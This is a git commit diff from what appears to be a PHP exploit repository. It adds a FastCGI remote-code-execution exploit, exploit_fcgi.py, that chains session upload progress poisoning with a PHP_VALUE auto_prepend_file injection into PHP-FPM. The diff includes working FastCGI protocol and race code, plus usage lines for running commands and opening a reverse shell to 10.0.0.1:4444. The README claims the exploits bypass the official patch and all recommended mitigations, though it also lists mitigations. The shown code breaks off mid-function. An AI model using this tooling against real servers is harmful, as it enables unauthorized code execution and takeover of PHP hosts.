FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress write primitive (CVE-2026-109618/109619) with direct FastCGI access to PHP-FPM. A slow-drip multipart upload holds one FPM worker in the multipart parser while a second FastCGI request includes the poisoned session file via auto_prepend_file. Works on default PHP configuration, no LFI, no framework, no libraries. security.limit_extensions does not block auto_prepend_file inclusion. php_admin_value in pool config does not block PHP_VALUE from raw FastCGI. Tested and confirmed RCE on: PHP 8.3.6 (local, pre-patch) PHP 8.3.35 (Docker, pre-patch) PHP 8.3.36 (Docker, patched) PHP 8.4.27 (Docker, patched) Mitigated by session.upload_progress.enabled=0 or blocking FPM access. Also includes nolfi/ exploit (served save_path + pathinfo routing) from previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
@@ -2,7 +2,8 @@
|
|||||||
|
|
||||||
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||||||
multipart parser and session upload progress handler. Includes three bypass
|
multipart parser and session upload progress handler. Includes three bypass
|
||||||
exploits that defeat the official security patch and all recommended mitigations.
|
exploits that defeat the official security patch and all recommended mitigations,
|
||||||
|
plus a no-LFI chain that removes the application from the attack entirely.
|
||||||
|
|
||||||
**No external dependencies** — pure Python 3 stdlib.
|
**No external dependencies** — pure Python 3 stdlib.
|
||||||
|
|
||||||
@@ -31,6 +32,8 @@ against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
|||||||
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||||
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||||||
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||||
|
| `nolfi/exploit_nolfi.py` | No LFI available | Served save_path + fpm pathinfo — **RCE with no application include** |
|
||||||
|
| `fcgi/exploit_fcgi.py` | FPM reachable | FastCGI slow-drip + auto_prepend_file — **RCE, default config, no LFI** |
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
|
|
||||||
@@ -71,35 +74,89 @@ python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --p
|
|||||||
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||||
Use `--session-path` and `--lfi-param` to override auto-detection.
|
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||||
|
|
||||||
## Session Deserialization (No LFI)
|
## RCE Without LFI
|
||||||
|
|
||||||
`session-deser/exploit.py` exploits `session.serialize_handler` mismatches
|
`nolfi/exploit_nolfi.py` turns the same session-poisoning primitive into RCE
|
||||||
for RCE without any LFI vulnerability. When one endpoint uses `php_serialize`
|
with **no application include at all**. The consumer is php-fpm's own request
|
||||||
(Laravel, Symfony default) and another uses the `php` handler (PHP default),
|
routing instead of application code:
|
||||||
the pipe character in session data triggers arbitrary deserialization.
|
|
||||||
|
|
||||||
Requires a deployment where two endpoints share session storage but use
|
1. `PHP_SESSION_UPLOAD_PROGRESS` writes PHP code into
|
||||||
different handlers. This occurs when a framework application coexists with
|
`<save_path>/sess_<SID>` during multipart parsing. This fires before
|
||||||
non-framework PHP on the same server (phpMyAdmin, admin scripts, legacy code).
|
script dispatch, so any PHP-handled URL works — a 404 is enough.
|
||||||
|
2. If `session.save_path` is web-served, the session file is directly
|
||||||
|
requestable over HTTP.
|
||||||
|
3. With `security.limit_extensions` empty (common in production fpm pools),
|
||||||
|
fpm executes the extensionless session file through the classic
|
||||||
|
`cgi.fix_pathinfo` route: `GET /sessions/sess_<SID>/x.php?c=id`.
|
||||||
|
4. With `cleanup=1` (default) the file is truncated at upload end, so
|
||||||
|
execution is raced against the upload window (reliable on streaming
|
||||||
|
stacks, parse-time-limited on buffering stacks), or made deterministic
|
||||||
|
with `--oom`: the CVE-2026-109618 bailout longjmps past cleanup and the
|
||||||
|
file persists.
|
||||||
|
|
||||||
Built-in POP chains for current library versions:
|
Requires `session.upload_progress.enabled=1` and `memory_limit` headroom for
|
||||||
|
the OOM variant. See `nolfi/FINDINGS.md` for the full analysis, including why
|
||||||
| Chain | Library | Tested version |
|
the session decoder itself can never be used as the consumer: the `php`
|
||||||
|---|---|---|
|
serializer aborts the entire write on `|` in any key (leaving a 0-byte file),
|
||||||
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 (latest) |
|
the raw attacker bytes always land in the key which is never unserialized, and
|
||||||
| `laravel10-cmd/fw` | illuminate 10.0-13.x+ | v13.38.0 (latest) |
|
`mod_files` rejects any SID that could turn the filename into an include
|
||||||
|
target.
|
||||||
Plus legacy chains for Monolog 2.x, Laravel 5.4-8.x, Guzzle 4.0-7.x,
|
|
||||||
Symfony 2.6-4.4.18, and WordPress 6.4.0-6.4.1. Accepts custom phpggc chains
|
|
||||||
via `--chain-file`. See `session-deser/README.md` for details.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 session-deser/exploit.py \
|
# classify the target: which URL prefixes serve session.save_path
|
||||||
--inject-url http://target/laravel-endpoint.php \
|
python3 nolfi/exploit_nolfi.py -t http://target/ --probe
|
||||||
--trigger-url http://target/legacy-script.php \
|
|
||||||
--chain laravel10-cmd --cmd 'id'
|
# interactive command shell via the served session dir
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||||
|
|
||||||
|
# deterministic persistence via the OOM bailout instead of the race
|
||||||
|
python3 nolfi/exploit_nolfi.py -t http://target/ --url-prefix /sessions \
|
||||||
|
--oom --fields 30000 --fsize 512 --cmd 'id'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
`nolfi/check_deploy.php` reports whether a deployment meets the two
|
||||||
|
preconditions (save_path web-served, empty limit_extensions). Drop it on the
|
||||||
|
target, request it once, remove it.
|
||||||
|
|
||||||
|
## RCE via FastCGI (Default Config)
|
||||||
|
|
||||||
|
`fcgi/exploit_fcgi.py` achieves RCE with **no LFI, no libraries, no special
|
||||||
|
PHP configuration**. It only requires raw FastCGI access to PHP-FPM (TCP or
|
||||||
|
unix socket), which is available in Docker, Kubernetes, SSRF, and exposed-port
|
||||||
|
scenarios.
|
||||||
|
|
||||||
|
The technique: a slow-drip multipart upload sent via raw FastCGI holds one FPM
|
||||||
|
worker in the multipart parser (keeping the poisoned session file on disk)
|
||||||
|
while a second FastCGI request to another worker sets
|
||||||
|
`PHP_VALUE: auto_prepend_file = /tmp/sess_<SID>`, causing PHP to include the
|
||||||
|
session file before any script. The attacker's PHP code executes.
|
||||||
|
|
||||||
|
`security.limit_extensions` does not block this: it only restricts
|
||||||
|
`SCRIPT_FILENAME`, not files loaded by `auto_prepend_file`. Setting
|
||||||
|
`php_admin_value[auto_prepend_file]` in the pool config also does not help:
|
||||||
|
raw FastCGI `PHP_VALUE` overrides it (verified on PHP 8.3.6).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# RCE via direct FastCGI (Docker, Kubernetes, exposed port)
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||||
|
|
||||||
|
# Unix socket (local access)
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||||
|
|
||||||
|
# Specify PHP file and session path
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||||
|
--script-file /var/www/html/index.php \
|
||||||
|
--session-path /tmp --cmd 'id'
|
||||||
|
|
||||||
|
# Reverse shell
|
||||||
|
python3 fcgi/exploit_fcgi.py --fpm 10.0.0.5:9000 \
|
||||||
|
--lhost 10.0.0.1 --lport 4444
|
||||||
|
```
|
||||||
|
|
||||||
|
See `fcgi/FINDINGS.md` for the full analysis, test results, and why no
|
||||||
|
pool-level configuration can prevent this when FastCGI is reachable.
|
||||||
|
|
||||||
## Patch Bypass Findings
|
## Patch Bypass Findings
|
||||||
|
|
||||||
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||||
@@ -117,22 +174,41 @@ path. Worker exits code 1 (not the patched code 70), session persists.
|
|||||||
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||||||
poisoning needed. **Bypasses every recommended mitigation.**
|
poisoning needed. **Bypasses every recommended mitigation.**
|
||||||
|
|
||||||
|
**4. Served save_path (no LFI)** — When `session.save_path` is web-served and
|
||||||
|
the fpm pool leaves `security.limit_extensions` empty, the poisoned session
|
||||||
|
file is executed by fpm itself via PATH_INFO routing. No application
|
||||||
|
cooperation, no include primitive. See `nolfi/FINDINGS.md`.
|
||||||
|
|
||||||
|
**5. FastCGI auto_prepend_file (default config)** — When FPM's FastCGI
|
||||||
|
socket is reachable (Docker, Kubernetes, SSRF, exposed port), an attacker
|
||||||
|
drips a multipart upload via raw FastCGI to hold a worker in the parser
|
||||||
|
while a second request sets `PHP_VALUE: auto_prepend_file=<session_file>`.
|
||||||
|
No LFI, no special config, no library. `php_admin_value` does not block it.
|
||||||
|
See `fcgi/FINDINGS.md`.
|
||||||
|
|
||||||
### Mitigation Matrix
|
### Mitigation Matrix
|
||||||
|
|
||||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
| Mitigation | Race | RLIMIT | /proc/fd | served-path | fcgi-prepend |
|
||||||
|---|---|---|---|
|
|---|---|---|---|---|---|
|
||||||
| Patch alone | FAIL | FAIL | FAIL |
|
| Patch alone | FAIL | FAIL | FAIL | FAIL | FAIL |
|
||||||
| + `upload_progress=0` | OK | OK | **FAIL** |
|
| + `upload_progress=0` | OK | OK | **FAIL** | OK | OK |
|
||||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
|
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL | FAIL |
|
||||||
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
|
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK | OK | OK |
|
||||||
| Fix the LFI | OK | OK | OK |
|
| + limit_extensions=`.php .phar` | — | — | — | OK | **FAIL** |
|
||||||
|
| + save_path not web-served | — | — | — | OK | **FAIL** |
|
||||||
|
| + block FPM network access | — | — | — | — | OK |
|
||||||
|
| Fix the LFI | OK | OK | OK | **FAIL** | **FAIL** |
|
||||||
|
|
||||||
### Recommendations
|
### Recommendations
|
||||||
|
|
||||||
1. Set `session.upload_progress.enabled=0` in php.ini
|
1. Set `session.upload_progress.enabled=0` in php.ini
|
||||||
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||||||
3. Fix any LFI vulnerabilities in applications
|
3. Fix any LFI vulnerabilities in applications
|
||||||
4. Set `open_basedir` to restrict filesystem access
|
4. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||||
|
5. Keep `session.save_path` outside any web-served tree
|
||||||
|
6. Set `open_basedir` to restrict filesystem access
|
||||||
|
7. Block network access to FPM: use unix sockets with restricted permissions,
|
||||||
|
firewall TCP port 9000
|
||||||
|
|
||||||
## WordPress
|
## WordPress
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,128 @@
|
|||||||
|
# RCE via FastCGI + Session Upload Progress (No LFI)
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
|
||||||
|
session upload progress write primitive from CVE-2026-109618 /
|
||||||
|
CVE-2026-109619 becomes RCE without any application-level vulnerability.
|
||||||
|
|
||||||
|
No LFI needed. No framework needed. No special PHP configuration needed.
|
||||||
|
Works on default php.ini settings.
|
||||||
|
|
||||||
|
## Attack chain
|
||||||
|
|
||||||
|
```
|
||||||
|
Worker A (held open) Worker B (executes)
|
||||||
|
--- ---
|
||||||
|
FastCGI POST with FastCGI GET with
|
||||||
|
multipart body: PHP_VALUE:
|
||||||
|
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
|
||||||
|
= <?php system(...); ?> /tmp/sess_<SID>
|
||||||
|
SCRIPT_FILENAME=
|
||||||
|
File upload content /var/www/html/index.php
|
||||||
|
dripped one byte at a time
|
||||||
|
-> session file persists PHP includes the session
|
||||||
|
-> parser blocks for file before index.php
|
||||||
|
the entire drip window -> attacker PHP runs
|
||||||
|
-> RCE
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step by step
|
||||||
|
|
||||||
|
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
|
||||||
|
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
|
||||||
|
`HTTP_COOKIE` param. The body contains:
|
||||||
|
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
|
||||||
|
- A file upload whose content is dripped slowly (byte by byte)
|
||||||
|
|
||||||
|
2. **FPM worker A enters the multipart parser.** As soon as the progress
|
||||||
|
field and file header are read, `session.upload_progress` writes the
|
||||||
|
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
|
||||||
|
reading the file content from STDIN, which we control.
|
||||||
|
|
||||||
|
3. **While worker A is blocked, open a second FastCGI connection to
|
||||||
|
worker B.** Send a GET request with:
|
||||||
|
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
|
||||||
|
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
|
||||||
|
|
||||||
|
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
|
||||||
|
`include()` the session file before running the main script. The session
|
||||||
|
file contains the attacker's `<?php ... ?>` code, which executes.
|
||||||
|
|
||||||
|
5. **Cleanup.** The drip finishes, worker A completes normally (or times
|
||||||
|
out), the session file is cleaned up. The attacker's code has already
|
||||||
|
executed on worker B.
|
||||||
|
|
||||||
|
## Why it works on default configuration
|
||||||
|
|
||||||
|
| Setting | Default | Required |
|
||||||
|
|---------|---------|----------|
|
||||||
|
| `session.upload_progress.enabled` | `1` | `1` |
|
||||||
|
| `session.save_path` | `/tmp` | Any known path |
|
||||||
|
| `pm.max_children` | `5` (dynamic) | `>= 2` |
|
||||||
|
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
|
||||||
|
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
|
||||||
|
|
||||||
|
`security.limit_extensions` blocks execution of files without `.php`
|
||||||
|
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
|
||||||
|
`include()`, which ignores `security.limit_extensions` entirely. The
|
||||||
|
session file (which has no extension) is included as PHP code regardless
|
||||||
|
of `limit_extensions`.
|
||||||
|
|
||||||
|
## When FPM is reachable
|
||||||
|
|
||||||
|
This is the main precondition. The attacker needs raw TCP or unix socket
|
||||||
|
access to the FPM process. This is realistic in:
|
||||||
|
|
||||||
|
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
|
||||||
|
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
|
||||||
|
can reach it.
|
||||||
|
|
||||||
|
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
|
||||||
|
name. Adjacent pods, including compromised ones, can send raw FastCGI.
|
||||||
|
|
||||||
|
3. **SSRF.** An SSRF vulnerability in any application on the same host
|
||||||
|
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
|
||||||
|
can carry arbitrary TCP payloads including FastCGI.
|
||||||
|
|
||||||
|
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
|
||||||
|
Docker port mappings exposing 9000 to the network.
|
||||||
|
|
||||||
|
5. **Same-host access.** A low-privilege shell on the same machine can
|
||||||
|
often read the unix socket (permissions vary by distro).
|
||||||
|
|
||||||
|
## Test results
|
||||||
|
|
||||||
|
Tested against PHP-FPM 8.3.6 with default settings:
|
||||||
|
|
||||||
|
- `session.upload_progress.enabled=1` (default)
|
||||||
|
- `session.save_path=/tmp` (default)
|
||||||
|
- `session.upload_progress.cleanup=1` (default)
|
||||||
|
- `security.limit_extensions = .php .phar` (default)
|
||||||
|
- `pm = static`, `pm.max_children = 2`
|
||||||
|
|
||||||
|
Results: 3/3 tests successful. Race hit on first attempt within 200ms
|
||||||
|
of the drip starting. Reliable with `--drip-time 5` (5 second window).
|
||||||
|
|
||||||
|
## Mitigations
|
||||||
|
|
||||||
|
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
|
||||||
|
is not needed. This removes the write primitive entirely.
|
||||||
|
|
||||||
|
2. **Block network access to FPM.** FPM should only be reachable from the
|
||||||
|
web server process. Use unix sockets with restricted file permissions,
|
||||||
|
or firewall TCP port 9000.
|
||||||
|
|
||||||
|
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
|
||||||
|
racer cannot execute while the drip holds a worker. This severely impacts
|
||||||
|
performance and is not practical.
|
||||||
|
|
||||||
|
4. Setting `security.limit_extensions` does NOT help. The inclusion
|
||||||
|
happens via `auto_prepend_file`, which bypasses limit_extensions.
|
||||||
|
|
||||||
|
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
|
||||||
|
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
|
||||||
|
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
|
||||||
|
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
|
||||||
|
access bypasses the web server that would normally enforce admin
|
||||||
|
values. The only effective mitigation is blocking FastCGI access.
|
||||||
@@ -0,0 +1,566 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
|
||||||
|
|
||||||
|
Combines the PHP session upload progress write primitive with direct
|
||||||
|
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
|
||||||
|
special PHP configuration needed.
|
||||||
|
|
||||||
|
Attack chain:
|
||||||
|
1. FastCGI multipart POST to any .php file on the target FPM pool:
|
||||||
|
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
|
||||||
|
<save_path>/sess_<SID>. The request body is dripped slowly via
|
||||||
|
FastCGI STDIN so the session file persists for seconds (the
|
||||||
|
multipart parser blocks until STDIN EOF).
|
||||||
|
|
||||||
|
2. While worker A is blocked on our slow drip, a second FastCGI
|
||||||
|
request goes to worker B:
|
||||||
|
SCRIPT_FILENAME = <same .php file>
|
||||||
|
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
|
||||||
|
PHP includes the session file before running the script.
|
||||||
|
Our PHP code executes.
|
||||||
|
|
||||||
|
Why this works on default config:
|
||||||
|
- session.upload_progress.enabled=1 (default)
|
||||||
|
- session.save_path=/tmp (common default)
|
||||||
|
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
|
||||||
|
- security.limit_extensions only restricts SCRIPT_FILENAME, not
|
||||||
|
files loaded via auto_prepend_file
|
||||||
|
- No application vulnerability needed
|
||||||
|
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
|
||||||
|
|
||||||
|
Preconditions:
|
||||||
|
- Network access to PHP-FPM (TCP socket or unix socket)
|
||||||
|
- At least one .php file exists on the server
|
||||||
|
- session.upload_progress.enabled=1 (default)
|
||||||
|
- pm.max_children >= 2 (default)
|
||||||
|
|
||||||
|
When is FPM reachable:
|
||||||
|
- Docker: official PHP-FPM images listen on TCP 9000
|
||||||
|
- Kubernetes: FPM pods addressable from adjacent pods
|
||||||
|
- SSRF: another app on the same host can reach FPM
|
||||||
|
- Same-host: unix socket /run/php/php-fpm.sock
|
||||||
|
- Exposed port: firewall misconfiguration
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
# Direct FastCGI (drip race, most reliable)
|
||||||
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
|
||||||
|
|
||||||
|
# Specify PHP file and session path
|
||||||
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||||
|
--script-file /var/www/html/index.php \\
|
||||||
|
--session-path /tmp --cmd 'id'
|
||||||
|
|
||||||
|
# Unix socket
|
||||||
|
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
|
||||||
|
|
||||||
|
# HTTP poison + FastCGI execute (when FPM not directly reachable
|
||||||
|
# for uploads, but reachable for execution)
|
||||||
|
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
|
||||||
|
|
||||||
|
# Reverse shell
|
||||||
|
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
|
||||||
|
--lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
# ── FastCGI protocol ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
FCGI_VERSION_1 = 1
|
||||||
|
FCGI_BEGIN_REQUEST = 1
|
||||||
|
FCGI_END_REQUEST = 3
|
||||||
|
FCGI_PARAMS = 4
|
||||||
|
FCGI_STDIN = 5
|
||||||
|
FCGI_STDOUT = 6
|
||||||
|
FCGI_STDERR = 7
|
||||||
|
FCGI_RESPONDER = 1
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_record(rtype, request_id, content):
|
||||||
|
clen = len(content)
|
||||||
|
pad = (8 - (clen % 8)) % 8
|
||||||
|
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
|
||||||
|
request_id, clen, pad)
|
||||||
|
+ content + b"\x00" * pad)
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
|
||||||
|
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
|
||||||
|
struct.pack(">HBxxxxx", role, flags))
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_nv(name, value):
|
||||||
|
nlen = len(name)
|
||||||
|
vlen = len(value)
|
||||||
|
out = b""
|
||||||
|
if nlen < 128:
|
||||||
|
out += struct.pack("B", nlen)
|
||||||
|
else:
|
||||||
|
out += struct.pack(">I", nlen | 0x80000000)
|
||||||
|
if vlen < 128:
|
||||||
|
out += struct.pack("B", vlen)
|
||||||
|
else:
|
||||||
|
out += struct.pack(">I", vlen | 0x80000000)
|
||||||
|
return out + name + value
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_params(request_id, params_dict):
|
||||||
|
body = b""
|
||||||
|
for k, v in params_dict.items():
|
||||||
|
body += fcgi_nv(k.encode(), v.encode())
|
||||||
|
return (fcgi_record(FCGI_PARAMS, request_id, body)
|
||||||
|
+ fcgi_record(FCGI_PARAMS, request_id, b""))
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_stdin_eof(request_id):
|
||||||
|
return fcgi_record(FCGI_STDIN, request_id, b"")
|
||||||
|
|
||||||
|
|
||||||
|
def fcgi_parse_stdout(data):
|
||||||
|
stdout_data = b""
|
||||||
|
stderr_data = b""
|
||||||
|
pos = 0
|
||||||
|
while pos + 8 <= len(data):
|
||||||
|
_, rtype, _, clen, pad = struct.unpack(
|
||||||
|
">BBHHBx", data[pos:pos+8])
|
||||||
|
content = data[pos+8:pos+8+clen]
|
||||||
|
pos += 8 + clen + pad
|
||||||
|
if rtype == FCGI_STDOUT:
|
||||||
|
stdout_data += content
|
||||||
|
elif rtype == FCGI_STDERR:
|
||||||
|
stderr_data += content
|
||||||
|
elif rtype == FCGI_END_REQUEST:
|
||||||
|
break
|
||||||
|
return stdout_data, stderr_data
|
||||||
|
|
||||||
|
|
||||||
|
# ── FPM connection ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def fpm_connect(fpm_addr, timeout=10):
|
||||||
|
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
|
||||||
|
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
sock.connect(fpm_addr)
|
||||||
|
return sock
|
||||||
|
if ":" in fpm_addr:
|
||||||
|
host, port = fpm_addr.rsplit(":", 1)
|
||||||
|
port = int(port)
|
||||||
|
else:
|
||||||
|
host = fpm_addr
|
||||||
|
port = 9000
|
||||||
|
return socket.create_connection((host, port), timeout=timeout)
|
||||||
|
|
||||||
|
|
||||||
|
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
|
||||||
|
"""Send GET request to FPM with auto_prepend_file."""
|
||||||
|
params = {
|
||||||
|
"SCRIPT_FILENAME": script_filename,
|
||||||
|
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
|
||||||
|
"REQUEST_METHOD": "GET",
|
||||||
|
"SERVER_SOFTWARE": "go / fcgiclient",
|
||||||
|
"REMOTE_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_ADDR": "127.0.0.1",
|
||||||
|
"SERVER_PORT": "80",
|
||||||
|
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||||
|
"CONTENT_TYPE": "",
|
||||||
|
"CONTENT_LENGTH": "0",
|
||||||
|
"DOCUMENT_ROOT": os.path.dirname(script_filename),
|
||||||
|
"REQUEST_URI": "/" + os.path.basename(script_filename),
|
||||||
|
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
|
||||||
|
}
|
||||||
|
|
||||||
|
request_id = 1
|
||||||
|
payload = fcgi_begin_request(request_id)
|
||||||
|
payload += fcgi_params(request_id, params)
|
||||||
|
payload += fcgi_stdin_eof(request_id)
|
||||||
|
|
||||||
|
sock = fpm_connect(fpm_addr, timeout)
|
||||||
|
sock.sendall(payload)
|
||||||
|
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(65536)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
stdout_data, stderr_data = fcgi_parse_stdout(resp)
|
||||||
|
if b"\r\n\r\n" in stdout_data:
|
||||||
|
_, body = stdout_data.split(b"\r\n\r\n", 1)
|
||||||
|
return body, stderr_data
|
||||||
|
return stdout_data, stderr_data
|
||||||
|
|
||||||
|
|
||||||
|
# ── Multipart helpers ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def mp_field(bnd, name, value):
|
||||||
|
return (b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||||
|
b"\r\n" + value + b"\r\n")
|
||||||
|
|
||||||
|
|
||||||
|
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
|
||||||
|
|
||||||
|
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
|
||||||
|
session_paths, marker, drip_time=10,
|
||||||
|
timeout=30):
|
||||||
|
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
|
||||||
|
|
||||||
|
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
|
||||||
|
multipart body contains a file upload whose content is dripped byte
|
||||||
|
by byte, keeping the FPM worker in the multipart parser (which keeps
|
||||||
|
the session file on disk) for the entire drip_time.
|
||||||
|
|
||||||
|
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
|
||||||
|
pointing to the session file, racing to include it while worker A
|
||||||
|
holds it open.
|
||||||
|
"""
|
||||||
|
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
|
||||||
|
found = {"body": None, "path": None}
|
||||||
|
|
||||||
|
# Build the multipart body prefix: progress field + file header
|
||||||
|
body_prefix = b""
|
||||||
|
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
|
||||||
|
body_prefix += (
|
||||||
|
b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
# The suffix that closes the file part and the multipart
|
||||||
|
body_suffix = b"\r\n--" + bnd + b"--\r\n"
|
||||||
|
|
||||||
|
# Calculate total Content-Length (we need to declare it upfront)
|
||||||
|
# The file content will be dripped: we'll send drip_bytes of padding
|
||||||
|
drip_bytes = 1024 * 64
|
||||||
|
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
|
||||||
|
|
||||||
|
# ── Thread B: racer ──
|
||||||
|
def racer():
|
||||||
|
deadline = time.time() + timeout
|
||||||
|
attempt = 0
|
||||||
|
while time.time() < deadline and found["body"] is None:
|
||||||
|
for sp in session_paths:
|
||||||
|
if found["body"] is not None:
|
||||||
|
return
|
||||||
|
sess_file = f"{sp}/sess_{sid}"
|
||||||
|
attempt += 1
|
||||||
|
try:
|
||||||
|
body, _ = fpm_execute(fpm_addr, script_file,
|
||||||
|
sess_file, timeout=3)
|
||||||
|
if marker.encode() in body:
|
||||||
|
found["body"] = body
|
||||||
|
found["path"] = sess_file
|
||||||
|
return
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
time.sleep(0.005)
|
||||||
|
|
||||||
|
